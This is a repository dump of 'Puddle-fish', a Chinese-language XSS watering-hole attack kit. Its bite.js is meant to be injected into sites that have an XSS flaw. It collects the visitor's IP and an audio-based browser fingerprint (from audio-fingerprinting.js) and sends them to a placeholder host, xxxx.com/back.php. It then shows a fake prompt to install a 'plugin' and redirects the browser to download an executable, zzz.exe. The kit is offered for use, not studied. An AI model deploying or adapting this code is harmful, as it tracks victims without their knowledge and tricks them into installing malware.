├── FISH.txt
├── README.md
├── back.php
├── bite.js
└── audio-fingerprinting.js
/FISH.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Puddle-fish
2 |
3 | xss水坑攻击,配合php进行鱼儿是否上线判断
4 |
5 | 加入了浏览器指纹获取,使用外网ip+浏览器指纹判断是否是同一终端。
6 |
7 | ## Usage:
8 |
9 | 后端使用php搭建`back.php,audio-fingerprinting.js`
10 |
11 | 在有xss的地方插入`bite.js`
12 |
13 | ## 致谢:
14 |
15 | 代码逻辑主要参考的
16 |
17 | [timwhitez](https://github.com/timwhitez/XSS-Phishing)
18 |
19 |
--------------------------------------------------------------------------------
/back.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/bite.js:
--------------------------------------------------------------------------------
1 | var returnCitySN = {"cip": "0.0.0.0", "extend": "000000"};
2 | // document.write("");
3 | document.write("")
4 | document.write("");
5 |
6 |
7 | //上线检测
8 | function isRise(ip,extend) {
9 | var xmlHttp;
10 | if (window.XMLHttpRequest) {
11 | xmlHttp = new XMLHttpRequest();
12 | } else {
13 | xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
14 | }
15 |
16 | audioFingerprint.run(
17 | function (fingerprint){
18 | // document.write(fingerprint);
19 | console.log(fingerprint);
20 | xmlHttp.open("GET", "http://xxxx.com/back.php?search="+ip+fingerprint, "true");
21 | xmlHttp.send();
22 | xmlHttp.onreadystatechange = function() {
23 | //alert(xmlHttp.responseText)
24 | if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
25 | var resData = xmlHttp.responseText;
26 | if (resData == "in" && extend == "111111") {
27 | } else {
28 | document.write("");
29 | xmlHttp.open("GET", "http://xxxx.com/back.php?ip="+ip+fingerprint, "true");
30 | xmlHttp.send();
31 | xmlHttp.onreadystatechange = function() {
32 | if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {} else {}}
33 | download();
34 | }
35 | }
36 | }
37 | });
38 |
39 | }
40 |
41 | //下载
42 | function download(){
43 | alert("请尝试下载并安装插件后访问本页面!");
44 | window.location.href="http://xxxx.com/zzz.exe";
45 | }
46 |
47 | //判断是否是PC
48 | function isPc() {
49 | if (navigator.userAgent.match(/(iPhone|Android)/i)) {
50 | return false;
51 | } else {
52 | return true;
53 | }
54 | }
55 |
56 | //load,ipbase64编码后,传递给后端
57 | window.onload = function(){
58 | if(!isPc()){
59 | alert("当前页面只能在电脑PC端中加载,请稍后重试...");
60 | }else{
61 | isRise(returnCitySN["cip"], returnCitySN["extend"]);
62 | }
63 | }
--------------------------------------------------------------------------------
/audio-fingerprinting.js:
--------------------------------------------------------------------------------
1 | var audioFingerprint = (function () {
2 |
3 | var context = null;
4 | var currentTime = null;
5 | var oscillator = null;
6 | var compressor = null;
7 | var fingerprint = null;
8 | var callback = null
9 |
10 | function run(cb, debug = false) {
11 |
12 | callback = cb;
13 |
14 | try {
15 |
16 | setup();
17 |
18 | oscillator.connect(compressor);
19 | compressor.connect(context.destination);
20 |
21 | oscillator.start(0);
22 | context.startRendering();
23 |
24 | context.oncomplete = onComplete;
25 |
26 | } catch (e) {
27 |
28 | if (debug) {
29 | throw e;
30 | }
31 |
32 | }
33 | }
34 |
35 | function setup()
36 | {
37 | setContext();
38 | currentTime = context.currentTime;
39 | setOscillator();
40 | setCompressor();
41 | }
42 |
43 | function setContext()
44 | {
45 | var audioContext = window.OfflineAudioContext || window.webkitOfflineAudioContext;
46 | context = new audioContext(1, 44100, 44100);
47 | }
48 |
49 | function setOscillator()
50 | {
51 | oscillator = context.createOscillator();
52 | oscillator.type = "triangle";
53 | oscillator.frequency.setValueAtTime(10000, currentTime);
54 | }
55 |
56 | function setCompressor()
57 | {
58 | compressor = context.createDynamicsCompressor();
59 |
60 | setCompressorValueIfDefined('threshold', -50);
61 | setCompressorValueIfDefined('knee', 40);
62 | setCompressorValueIfDefined('ratio', 12);
63 | setCompressorValueIfDefined('reduction', -20);
64 | setCompressorValueIfDefined('attack', 0);
65 | setCompressorValueIfDefined('release', .25);
66 | }
67 |
68 | function setCompressorValueIfDefined(item, value)
69 | {
70 | if (compressor[item] !== undefined && typeof compressor[item].setValueAtTime === 'function') {
71 | compressor[item].setValueAtTime(value, context.currentTime);
72 | }
73 | }
74 |
75 | function onComplete(event)
76 | {
77 | generateFingerprints(event);
78 | compressor.disconnect();
79 | }
80 |
81 | function generateFingerprints(event)
82 | {
83 | var output = null;
84 | for (var i = 4500; 5e3 > i; i++) {
85 |
86 | var channelData = event.renderedBuffer.getChannelData(0)[i];
87 | output += Math.abs(channelData);
88 |
89 | }
90 |
91 | fingerprint = output.toString();
92 |
93 | if (typeof callback === 'function') {
94 | return callback(fingerprint);
95 | }
96 | }
97 |
98 | return {
99 | run:run
100 | };
101 |
102 | })();
103 |
--------------------------------------------------------------------------------